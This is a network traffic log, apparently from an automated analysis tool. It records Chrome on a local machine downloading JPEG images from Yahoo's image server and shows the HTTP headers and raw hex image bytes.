2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 22 a9 a8 32 37 76 53 bd d0 0a 87 43 dc 9f 7b ec 5b a3 91 9e e8 cf 48 46 73 98 78 48 cf 4a a8 d4 54 f8 50 73 67 86 37 c8 34 2f 0c 1b de 9c 2a ad ce 09 58 49 a6 ab 7e 3d ab d8 df 9c 0f dc 97 43 dc 7d ef b1 a9 e0 6f 68 41 f3 a0 46 ab 05 ad b9 56 d2 bf 76 42 f6 9e 83 81 83 f2 26 ae bf d6 0e 12 3b d2 9f 6e f9 1f 7c b8 3d 08 07 72 50 35 79 d3 eb 8e b8 7e 55 fe 67 10 87 d7 2d 78 e1 34 c3 ba 52 8e dd f2 4b be 8f 07 a2 24 69 27 44 68 5a 72 bc eb f5 d1 71 1c 2a aa 47 74 ce 46 1b 57 76 07 c5 b8 56 b7 ba 67 7a d4 5e 19 f2 49 63 e0 bc 1e 97 8d a7 01 1f 04 38 e9 c1 79 a9 bb 63 7d 6f 91 77 af 1f f3 4a bb f2 73 b7 1b 43 5b 5e eb 4d 6d ce 59 ed d3 62 47 c5 23 5a 49 70 73 70 77 b1 9f 95 42 58 66 93 6d 96 43 e2 11 6d 45 2d cd 7c 14 0b 92 61 c8 17 68 b2 58 ea a3 a5 c8 b9 45 Data Ascii: "27vSC{[HFsxHJTPsg74/XI~=C}ohAFVvB&;n\|=rP5y~Ug-x4RK$i'DhZrqGtFWvVgz^Ic8yc}owJsC[^MmYbG#ZIpspwBXfmCmE-\|ahXE
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 33 da f1 ea 5c c9 af 95 9b e9 7a e3 f7 37 86 bb 28 e7 2a 9d 7f ba 4c 28 23 e6 24 74 4e df 19 73 0e 0a 81 f6 5a bf a6 b2 7f 86 56 08 61 dc 95 ce d5 6c 74 69 4b 2b 46 9b aa e8 38 1a ac c0 dc eb 4f f2 b9 fe 30 a2 ba e1 58 78 d5 4f f1 85 4d 61 1f 25 3f d4 e3 f4 9a 8b df 86 1e b4 cd cf 19 d4 ac d9 d5 95 0e f2 aa 26 3d ef 29 23 3c a4 eb 2c 9f 08 a9 2c 23 e4 8b f8 9c 5f f6 9a 5b 9e 3a c2 4d cf 1d 61 66 a6 69 0f 19 1f f0 8a 21 91 de d9 de 95 2e d3 dc 8f f5 15 f4 9a 49 78 eb 08 8e 78 f6 c3 d2 b3 72 f2 7a 4f a5 17 28 ed 7d c8 ff 00 50 5f 49 a3 17 b7 db 34 79 d1 4c 8c e9 7b 7d 2b 3b d1 77 44 76 de e1 df ff 00 c4 d1 5b 34 7d 32 33 e1 04 a0 9e 1e 99 63 f8 41 66 ba 21 80 8e df dc 3b ef f8 9a 3b a7 87 dd a3 f8 41 17 c2 a0 1c 67 8b e1 85 9d e0 2e e8 97 6d ee 1d fb fa 4d Data Ascii: 3\z7(*L(#$tNsZValtiK+F8O0XxOMa%?&=)#<,,#_[:Mafi!.IxxrzO(}P_I4yL{}+;wDv[4}23cAf!;;Ag.mM
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: e4 84 99 00 6b db d7 8d 42 6d 6b ad e6 ea 33 c1 e0 e4 76 f6 2b 65 ca 8a 4a 6a 97 b4 6b 19 38 20 aa 8d e6 8f c1 a7 e7 61 d1 b9 ce 9d 0b 62 d7 43 04 95 b5 37 6e 4f f6 96 9e a6 cc cb 7d c6 59 5b 14 0f 68 6b da d2 e3 cc b8 f0 d3 ab 51 e8 5a e4 97 6a 2a c7 b6 9e d9 3b 39 b8 23 27 9a 84 98 e4 8f 03 8b 9a 75 c7 0d 08 5e 66 e4 a2 7f 09 be 52 52 b9 ed 6b 2b 43 e9 89 77 00 48 cb 7f bc 1a b7 4f ad 8b 81 11 32 6a c8 19 3b 35 8a a1 85 c6 46 91 db d2 3b 17 5a 86 32 97 4d 46 bc ac d6 c7 1b 19 96 94 fe e3 bd a9 a4 8e 9e 8e 3b cd 3b 84 15 46 08 a4 96 31 a0 7b 9d c7 45 9a fd 50 4f e7 b9 39 a3 94 82 d3 25 5c 4e c1 e8 cb 1c b4 5f 61 5d 51 75 68 bc d7 be b6 7d ce 71 ad 0c dd 66 01 c7 ef 0b 3c fa a2 aa 62 76 ca 9a 16 67 9c a7 a9 85 ee 38 d3 0e 6c 98 c7 c1 2a f9 e3 68 d5 a4 e9 Data Ascii: kBmk3v+eJjk8 abC7nO}Y[hkQZj;9#'u^fRRk+CwHO2j;5F;Z2MF;;F1{EPO9%\N_a]Quh}qf<bvg8lh
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 91 23 99 3c 53 c9 2c af 69 f1 58 d6 f0 c0 e3 93 a6 0a 23 82 a1 25 76 ad f9 8f ba a8 8c 36 6e 4e ef ec 87 9c 8a 9e 9e a1 bb c1 b8 8a 76 93 9c e3 a7 08 d1 f2 6d b5 32 38 86 da 7a 33 ad 44 43 fc cb 7f 93 67 dd 55 13 e1 ac 8e 69 22 78 2d 73 0b da c6 91 fd 9d 53 f8 2c 94 94 f0 81 23 22 8e 26 80 d0 d0 d1 80 3c ea 32 c1 e1 d6 cc 6b 19 53 83 cd e7 93 6d aa 00 93 67 78 c7 f4 d1 7d 24 47 f2 71 b5 00 67 d8 6a 83 dc e6 1f de bd 37 1b e8 c9 cc 52 c5 21 eb df 05 38 0c 7b ce 72 30 7d 0a a7 83 a6 35 8c 9f 08 f2 65 46 c4 ed 1c 24 87 d8 eb cf bd 8f 7b e6 51 f5 b6 0b ad 0d 3b a7 ad b4 dc 20 81 a4 07 49 2d 3b da d1 93 81 92 46 38 90 bd 85 e0 4c 24 97 12 7b 95 3f 96 28 1a ce 4e eb f0 31 f6 da 7f fa cc 55 cf 09 4d 26 d3 64 e1 8b 9b 92 4d 1e 77 a1 a4 8e 30 d7 06 e5 dd 65 5e af Data Ascii: #<S,iX#%v6nNvm28z3DCgUi"x-sS,#"&<2kSmgx}$Gqgj7R!8{r0}5eF${Q; I-;F8L${?(N1UM&dMw0e^
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: d0 7b 4e 81 6e b4 96 ba 2a 2b 58 a3 b7 46 c6 d3 ee 90 0b 4e f6 f1 3d 24 f4 95 d6 f8 6d dc 65 a2 b7 f9 31 e2 da 4d 19 cd 9f fe 1f 4d fd 5b 7e 64 11 2c 87 36 f8 01 e2 d6 ee fa 34 41 71 d9 b4 a6 d5 1f b7 bf bd 24 11 ea 7e fc e4 88 28 43 3d 31 f5 3e c3 49 36 c1 93 51 1b 9c f1 59 20 07 c1 cc 83 c9 67 48 5a b5 b2 7a 7b 7c c6 58 63 63 5f 8c 07 0a 67 8d 3d 2b 01 e4 53 94 0b 36 cd 6c ac f6 fb ad c1 d4 b3 1a a7 4a d6 f3 4e 7e 5a 5a d1 9c 86 9e 90 56 91 0f 2b 3b 2e 33 8b f3 7c 6e 3b d0 3f e8 ae dd 19 46 54 94 5c bc 72 79 fc 44 2a 2a d2 6a 2f 7e 0d 24 ed 0c 81 e3 02 22 de d8 de 0a eb f6 91 ed 8d ce 6b 60 2e e8 07 78 65 66 cf e5 53 66 1f 26 ff 00 b3 f1 03 8c 7d e9 e3 4f 82 ba fe 53 f6 66 46 16 9d a0 83 07 f5 5c 3f 72 97 46 8f b7 ea 52 e5 5d 78 7f a1 a6 33 69 1c 70 08 Data Ascii: {Nn+XFN=$me1MM[~d,64Aq$~(C=1>I6QY gHZz{\|Xcc_g=+S6lJN~ZZV+;.3\|n;?FT\ryD*j/~$"k`.xefSf&}OSfF\?rFR]x3ip
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 94 6a 30 fd 34 38 2b ce 14 54 2e 7d d2 95 8d 19 25 e0 01 e7 5b 3d e6 ef b4 12 df e9 a9 2a eb e0 26 9e 48 ea 20 7b 61 0d 6b dc 75 6b b4 3a 81 9c 7a 56 c5 1c 44 97 ff 00 1f f3 38 98 e8 d5 cd 1e 9b b7 25 c2 d3 67 aa b6 5b 4b 6e 55 8d 9e 36 c7 bf 30 11 65 c4 e3 27 c6 ce 4f a3 b9 63 fc bd 48 c3 05 39 80 66 9c c8 c0 c9 03 cb da f1 ba e3 90 ee 9e 2a e9 49 7a da 1d ab a3 b8 d2 47 e0 fb 93 49 99 1f e3 30 53 06 b8 34 b0 1f d6 1c 3b ca a8 72 fd 65 86 c9 b3 f6 4a 7a 39 e6 75 33 65 7b 23 8a 42 08 66 06 74 38 cf 4f 4a e8 d3 96 2f a1 38 e2 6d fc b1 9b 0e a6 aa 2c f6 31 20 fe 2a cf b1 07 35 f2 7b d1 f3 aa 98 2a d5 b0 9a d7 cd dc d5 cb a9 e9 67 6a 8f e2 22 f7 b4 07 fd de cf 7c 14 0b 4e aa 73 68 4f fb bd 98 f6 e1 40 34 ea ab a5 b1 6e 27 d6 3b a7 7b 63 9a 27 c8 37 a3 0e 05 Data Ascii: j048+T.}%[=&H {akuk:zVD8%g[KnU60e'OcH9fIzGI0S4;reJz9u3e{#Bft8OJ/8m,1 5{gj"\|NshO@4n';{c'7
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 2e 4e e2 8d 47 f8 24 1f d5 b7 e6 5a e9 ec 61 c4 f8 25 ad 7f 7d 3d cb 4b e4 be 11 35 ca a9 c4 90 63 6b 1c 00 e9 d4 e8 56 65 6c 38 79 ee 5a f7 22 40 3a e3 74 27 80 8e 3f 9c ad 14 1d aa a6 61 ad f8 4c d0 a8 63 6c 73 87 b8 60 39 e3 4f 3a b1 03 ba ec 28 eb 91 e6 c4 72 bb 56 82 03 7f 54 f5 a7 d4 ae 63 9a 30 01 27 57 13 d2 ba 35 65 9d 29 1c b8 e9 a0 95 4b 65 92 46 73 71 b8 ee f4 9d 14 5d dc 3a a1 84 1d dc b3 5c 3b ad 4f 53 bd f2 3a 59 24 69 60 e0 d0 7a ba d5 6b 6b 6b 19 41 44 f9 26 78 11 c8 40 20 e9 90 8a 0e f3 48 25 b1 0f 6d b8 36 a7 7c 02 4c d1 bb 71 ed 1c 02 3d c2 37 4d 10 e6 ff 00 08 cf 8a 01 c0 cf 6f a1 43 5b 59 4e 6e 06 a1 c5 f0 52 be 22 23 61 05 ae 1d bf 2f 6f 4a 99 a2 78 9c 17 47 33 a4 dd 38 21 c3 04 2e 8f 92 a0 47 53 51 34 1c e4 f1 4f 10 19 6b 8c 7b b9 Data Ascii: .NG$Za%}=K5ckVel8yZ"@:t'?aLcls`9O:(rVTc0'W5e)KeFsq]:\;OS:Y$i`zkkkAD&x@ H%m6\|Lq=7MoC[YNnR"#a/oJxG38!.GSQ4Ok{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50030	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	386	OUT	GET /cv/apiv2/default/20200716/masque/scramble-words.jpeg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: zCCstmITjxBmnZ/r7YAOtEe6oYPovmUDqfOzE6pUD2/hpgDRL04B6x8SSDf6LHY5+iN4rJbQANU= x-amz-request-id: CQQ2ME4170RYAKKF Date: Sun, 14 Apr 2024 01:07:05 GMT Last-Modified: Thu, 16 Jul 2020 20:55:16 GMT ETag: "55fcf6a6879ce3f3715ddf3bd4adfe46" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/jpeg Server: ATS Content-Length: 41115 Referrer-Policy: no-referrer-when-downgrade Age: 1200896 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 02 02 07 08 08 08 08 08 08 06 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 0a 08 08 08 08 09 09 09 08 08 17 0d 0a 08 0d 07 08 09 08 01 03 04 04 06 05 06 0a 06 06 0a 0d 0d 0a 0e 0f 0e 0d 0d 10 0d 0d 0d 0d 0d 0d 0d 0d 0f 0d 0f 0d 0e 0e 0d 0d 0d 0d 0d 0d 0e 0d 0d 0d 0d 0d 0d 0e 0f 0d 0d 0d 0d 0d 0d 0f 0d 0d 0d 0e 0d 0d 0f 0d 0d ff c0 00 11 08 01 90 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1e 00 00 01 03 05 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 05 06 07 08 09 04 0a ff c4 00 61 10 00 02 01 03 02 02 05 05 06 10 09 09 06 03 09 00 01 02 03 00 04 11 05 12 06 21 07 08 13 31 41 09 14 22 51 61 23 32 71 81 93 b1 15 19 24 Data Ascii: JFIFX"a!1A"Qa#2q$
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 00 e0 1c 72 cf 86 4f 70 ee 38 f5 e0 fa 8d 7b 77 d5 82 c6 ee 85 2e 68 cd 45 be 8d f5 65 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b ea 48 e3 63 dc 28 89 73 46 6a 65 b2 3e 27 f0 54 cb 68 be d3 57 c2 55 64 2f 1e 68 cd 7b c4 4b ea 14 f1 8f 50 a9 c0 54 62 54 dc d1 9a a9 66 8c fc 15 38 13 12 a6 e6 8c d5 40 a0 f5 0f c1 4c 36 cb ea fc 15 18 0a 62 5e 2c d1 9a f4 35 97 a8 9f 8e a1 7b 66 1e df 82 aa 5a 42 b4 84 dc d1 9a 88 b5 1b ea aa 54 b9 a3 35 16 fa 37 d1 21 4b 9a 33 51 6f a3 7d 12 14 b9 Data Ascii: rOp8{w.hEeHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[Hc(sFje>'ThWUd/h{KPTbTf8@L6b^,5{fZBT57!K3Qo}
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 60 f3 e7 a1 63 2d 07 85 2f 6e 8e 2d 6d 2f ae 49 fb 45 bc d2 8f ed 22 15 fc b5 e5 d5 74 b9 a0 91 e1 9e 29 61 9a 26 29 24 52 a1 8e 48 d8 77 ab a3 00 54 f8 f3 f0 c7 81 06 b2 0e bf d6 83 89 ae 72 24 d5 ef 91 48 c6 cb 66 4b 48 c0 f5 05 b6 48 b0 3d 99 ac 71 7f a9 4b 2b b4 92 c9 24 b2 36 0b 49 23 b3 bb 10 00 05 9d 89 66 c0 00 0c 9e e0 3d 55 66 1a 93 cf 00 70 24 f7 90 3c 10 4e d8 f3 d8 a2 dd 46 ea 66 ea 37 56 65 75 5e e0 ce 10 b8 d4 2e 63 b4 b6 11 19 e5 df b0 4b 2a 42 87 62 34 8c 0c 92 15 45 3b 50 e3 71 19 38 1d e4 56 45 bf ea 8d c5 31 8c fd 0b 96 55 fb 2b 79 ed 6e 07 c5 d9 4e c7 e2 c5 61 b7 00 8c 10 08 f6 d4 b6 97 72 46 41 8e 49 a3 23 b8 c7 23 a6 3f b2 c2 b0 bc 54 27 98 40 1d 2d 27 bc 38 78 2a 1c 5b 23 b3 e6 ae 6e 20 e8 bb 57 b4 cf 9d 69 9a a4 00 78 c9 69 30 5f Data Ascii: `c-/n-m/IE"t)a&)$RHwTr$HfKHH=qK+$6I#f=Ufp$<NFf7Veu^.cKBb4E;Pq8VE1U+ynNarFAI##?T'@-'8x[#n Wixi0_
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 9a ad f6 98 88 4d d5 ac 22 15 d7 b4 a0 77 91 3c b6 a4 18 35 0b 68 96 36 73 25 ab 7a 6a 54 30 89 aa e6 a6 01 cf ed 1a 78 e4 78 f0 05 64 c7 87 da f9 2c 26 2a a1 a1 e8 d3 5c cd 15 bd bc 6f 34 f3 c8 91 43 12 0c bc 92 39 0a aa a3 da 4f 79 c0 51 9c 90 01 23 34 5a f0 15 9c 36 3f 54 c7 0e a1 a2 bd c3 3c 5c 49 a5 23 79 ee 9d 23 88 51 a2 d4 6d 5c 6f ec 00 c6 6d 2e 55 08 90 b1 82 73 bb 0d b2 5e 4e fe ad 8a 85 b8 82 e8 17 04 c9 16 93 b9 4c 7b a1 cb 47 2d f9 89 b2 c8 66 5f 73 85 5c ee 44 32 9c 1e d6 37 ad 5a f6 d6 d2 a6 e7 ee c8 74 9d dd 1d 20 c1 1b 96 bd 7b 43 58 c2 ee ce 93 e7 51 a8 5b 3d d5 b7 a1 18 b4 0d 2a 0b 15 2b 24 e7 33 5e 4c 06 04 d7 32 01 bc 8f 1e ce 30 16 28 c1 e7 d9 c6 b9 cb 16 27 dd d3 27 58 1d 17 40 8a 39 75 4b b4 b7 ed 8b 08 63 0a f2 cf 31 5c 6e ec e1 Data Ascii: M"w<5h6s%zjT0xxd,&\o4C9OyQ#4Z6?T<\I#y#Qm\om.Us^NL{G-f_s\D27Zt {CXQ[=+$3^L20(''X@9uKc1\n
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 1e 2d d0 33 ec b6 be 23 f0 ec ac 3c 00 f5 0a 5d d4 e4 aa 7e 21 ec 6f c0 a9 87 6f 3d 81 66 44 e8 2b 4d 7f e6 b8 af 86 18 f8 76 9e 77 0f f8 a2 6c 53 ff 00 ec b7 7d 27 f9 a6 a7 c2 d7 a7 c1 60 d5 a1 57 3f 02 4c 23 6f c3 8a c2 ed 8f 65 34 c2 be 21 7f 00 a7 27 50 68 fe d6 83 e1 0a 21 db fb bf f1 65 ad 77 aa cf 13 db 8d cf a4 de 48 98 cf 69 6a 63 bc 42 3d 60 db 3c 84 8f fc b5 8c 75 1b 39 21 6d 93 47 2c 2e 0e 0a 4d 1b c4 d9 f5 62 40 a6 bd 1a 17 13 dd da b0 6b 5b ab cb 66 1d c6 de 79 61 c7 c4 8c 07 e4 ac 9d a5 75 b3 e2 04 41 15 c5 c5 be a7 08 3c e0 d5 6d 60 bd 46 f6 17 75 13 0c ff 00 bc f5 7a a9 35 9b f7 5d da df f2 f1 09 cf 1b 8f 77 c5 62 3d d4 01 cc 1e e2 39 82 39 11 f0 11 cc 7c 58 ac c4 bc 7d c2 b7 dc af f4 5b 9d 2e 53 9c dd 68 73 ee 88 13 dc 5a c2 eb 72 6d 07 Data Ascii: -3#<]~!oo=fD+MvwlS}'`W?L#oe4!'Ph!ewHijcB=`<u9!mG,.Mb@k[fyauA<m`Fuz5]wb=99\|X}[.ShsZrm
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 63 9e 09 24 86 78 58 3c 53 44 c5 24 8d c1 c8 65 75 c1 07 23 d7 83 e3 9a f0 ee a3 75 7b b3 05 6e 2c fd d1 9f 4a 7a 6d c5 ed bc d7 ce fa 3d f1 9a 21 75 aa 58 aa 8b 3d 4a db 7c 7d b4 3a be 9e 07 60 64 99 04 a5 ae e3 43 1b 48 c3 b4 87 19 71 d5 3e 19 f3 5f 37 80 5a 18 0d a8 89 16 df b0 2a 61 10 aa 85 8c 44 53 2b b0 28 00 6d e5 81 5c 2e dd 59 5f a0 ae b3 1a b7 0f c9 f5 2c 82 5b 46 60 d3 59 4d 93 0b 81 bb 3d 99 f7 d6 ee 77 16 df 16 03 30 1b 83 81 83 e7 af 0b b3 97 13 48 c1 1b 0e 9d bb 3a 36 6e 85 a9 5e 89 78 c8 e8 ba db c7 dc 03 63 aa 5a 4d 61 7f 02 5c da 5c 04 13 42 c5 94 3f 67 22 4a 9c d1 95 81 59 23 47 05 58 10 54 57 39 7a 75 f2 75 6a da 4c c3 52 e1 89 ee ee 56 13 bd 20 59 7b 3d 4e d9 8b 05 fa 9a 64 d8 b7 08 14 92 43 18 e4 da bd d3 66 b7 67 a0 5e b4 ba 4f 10 Data Ascii: c$xX<SD$eu#u{n,Jzm=!uX=J\|}:`dCHq>_7Z*aDS+(m\.Y_,[F`YM=w0H:6n^xcZMa\\B?g"JY#GXTW9zuujLRV Y{=NdCfg^O
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 82 08 ee 20 8e 60 8f 02 39 8a d5 34 00 ce 99 c2 7a 3d 93 c5 ba 75 88 3d 2b 1e 18 f6 72 f0 ec 5e fd 67 48 9e da 57 b7 b8 86 68 27 88 ed 92 19 91 a3 91 08 e5 86 56 00 fc 04 72 3e 04 8e 75 e3 dd 59 93 44 e9 ea 1b d8 52 c7 89 20 93 51 b7 51 b2 0d 4a 2c 2e b1 60 33 de 93 11 f5 5c 43 c6 19 f2 48 f1 62 00 aa 0f 49 5d 08 cf 63 12 5f 5b 4f 16 a5 a4 4c db 60 d4 ad 81 d8 1b 3f cc dd c4 72 f6 97 03 90 29 27 22 4f 23 9c a8 96 d6 20 e1 a8 20 ec dc 78 1d fd 07 3d d3 aa 07 67 0e d7 b9 63 9d d4 6e a8 f7 51 ba b6 a5 64 52 6e a3 75 7b ee b8 6a ea 3b 78 6e de 09 d6 d6 e1 e4 8e 1b 82 87 b1 96 48 b9 48 8a fd db 93 c4 1c 67 0d 8c ec 6c 53 37 54 02 0e 8a 14 9b a8 dd 51 ee a3 75 4c a9 52 6e a3 75 47 ba 8d d4 94 52 6e a3 75 47 ba 8d d4 94 52 6e a3 75 47 ba 8d d4 94 52 6e a0 9a 8f Data Ascii: `94z=u=+r^gHWh'Vr>uYDR QQJ,.`3\CHbI]c_[OL`?r)'"O# x=gcnQdRnu{j;xnHHglS7TQuLRnuGRnuGRnuGRn
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 1d d9 bb d4 1c 77 dc 6a 53 0e 72 bb 91 b8 40 0f 65 18 c0 c3 6d 5d b4 7e 96 ba 62 97 54 68 a2 8e 24 b2 d3 2c c1 4d 3f 4d 84 fb 8d b4 7c fd 37 3f e9 ae a4 c9 32 ce f9 66 62 70 40 27 76 3f cd 55 b4 cb ce 3a 9d 43 60 e9 3b dd d3 a0 d9 bc c0 13 9b bb 3c ed 52 66 8d d5 1e ea 4d f5 b2 b2 29 37 52 6f a8 f7 52 6e a2 29 0b 51 ba a2 df 4d 2f 44 53 ee a4 2f 50 ee a4 df 49 50 a7 df 46 fa 83 b4 a3 b4 a8 45 38 7a 5d d5 e7 ed 28 0f 53 28 bd 1b a9 43 54 01 a9 77 d1 14 db e9 43 54 21 a8 dd 45 2a 7d d4 6e a8 b7 d2 ee a2 29 37 54 f1 ea 12 2a 34 4b 24 a2 27 65 77 88 3b 08 dd d0 10 8e f1 83 b5 99 43 30 56 60 48 c9 af 26 68 cd 11 64 bb 1e 86 da eb 4c 3a 8e 9f 72 b7 b2 db 06 6d 4f 4f 58 99 2e ec 53 71 d9 70 89 b9 8d d5 a9 51 97 9a 30 3b 33 9c a9 0a e5 71 b8 7a ab f0 6f 1a de 69 Data Ascii: wjSr@em]~bTh$,M?M\|7?2fbp@'v?U:C`;<RfM)7RoRn)QM/DS/PIPFE8z](S(CTwCT!E}n)7T4K$'ew;C0V`H&hdL:rmOOX.SqpQ0;3qzoi
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 87 ba 53 93 49 bc ed fb 35 b8 b6 9a 36 b6 d4 2c df f9 bb db 29 79 4d 03 f8 06 c1 dd 1b 9c ec 90 0e f5 67 56 b7 78 b1 ec fc e6 63 63 e7 42 cc c8 4d ba dd 04 17 09 19 e6 12 5e cd 99 19 a3 c9 4d ea 7d 30 a0 e0 16 20 60 a4 1c c3 80 c9 1b 0f 46 e3 d2 37 ed 1d 20 aa 36 46 5d 8b 2a f0 5c 9f 47 ac 93 48 90 e7 54 b0 8a 47 d1 25 62 37 5d 5b ae e9 26 d1 5d 8f 7b 01 be 7b 12 e7 0a c2 44 dc ab 22 29 c3 4e a4 12 08 2a 41 20 86 04 10 47 22 08 3c c1 07 91 07 04 1a 5b 1b f9 22 74 96 27 78 e4 89 d6 48 e4 42 55 e3 91 18 3a 3a 30 c1 56 46 01 81 1c c1 02 af 9e 99 38 fe cf 53 9e 2b e8 6d e4 b6 bd 9e 20 75 54 c2 0b 69 6f 97 01 ae ad 42 9c a8 ba 03 b4 96 36 55 d9 2e 79 be f6 62 68 2c 74 0f 64 e7 c0 fc 0e bd 07 8e 41 91 e8 56 26 ea 37 54 59 a3 35 b1 2b 22 97 75 1b aa 2c d1 9a 4a Data Ascii: SI56,)yMgVxccBM^M}0 `F7 6F]\GHTG%b7][&]{{D")NA G"<["t'xHBU::0VF8S+m uTioB6U.ybh,tdAV&7TY5+"u,J
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 75 53 b8 2d c3 5a 19 38 e5 a6 5a 2f 2f 52 42 a8 bf 1e 14 67 db 9a ea 5e f5 ea 51 a6 d3 4c c4 9c e3 82 d8 b4 bc b5 a2 16 23 fa 59 bc 2f f6 cd 6b fb e2 7e e2 97 e9 67 f0 b7 d9 eb 3f df 17 f7 15 b2 fc 63 c6 16 ba 7d b4 d7 97 92 ac 16 d0 2e f9 a5 60 cc 11 4b 05 04 84 56 63 e9 30 1c 94 9e 75 87 ff 00 ed dd c1 9f d3 36 df 23 77 ff 00 d3 d7 9a 65 a6 d9 50 4b 0b c8 e8 93 e0 b4 45 4a a7 42 56 2c e2 2f 25 d6 85 22 fd 4d 7d ac 5b 3f ad de 1b 85 1e cd 8d 14 67 f0 bf cf 5a ad d3 ff 00 51 cd 6b 42 8d ee 94 c7 a8 58 27 39 2e 2d d1 96 58 17 9f a5 71 6e 4b 15 41 8f 4a 58 de 44 5e 5b b6 03 cb a8 dd 1c f4 bd a4 ea f1 b4 ba 6d ed ad e2 21 01 fb 27 f4 e3 27 bb b4 8d 82 c9 1e 70 71 bd 06 71 cb 38 ab b2 68 55 81 56 01 95 81 56 56 00 86 04 60 82 0f 22 08 e4 41 ef ac d4 ef 4b 4d Data Ascii: uS-Z8Z//RBg^QL#Y/k~g?c}.`KVc0u6#wePKEJBV,/%"M}[?gZQkBX'9.-XqnKAJXD^[m!''pqq8hUVVV`"AKM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50028	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	522	OUT	GET /uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	1284	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 493434531813695378875620641552606239540,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.webp" Edge-Cache-Tag: 493434531813695378875620641552606239540,346349957385992108437133608500309371301,ae7a14591aaf8d474cdb3f92111c923e Etag: "e609b3808d7dea074a93bb8742c09fe3" Last-Modified: Sat, 27 Apr 2024 19:03:08 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=300,height=156,bytes=8030,owidth=5969,oheight=3980,obytes=4693811,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 2444778b249ab7d066c0ffd9f93daa48 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 19:44:29 GMT X-Served-By: cache-lga21959-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714247069.202717,VS0,VE1 Age: 10651 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: 2444778b249ab7d066c0ffd9f93daa48 cld_by: cache-lga21959-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 16321 ATS-Carp-Promotion: 1
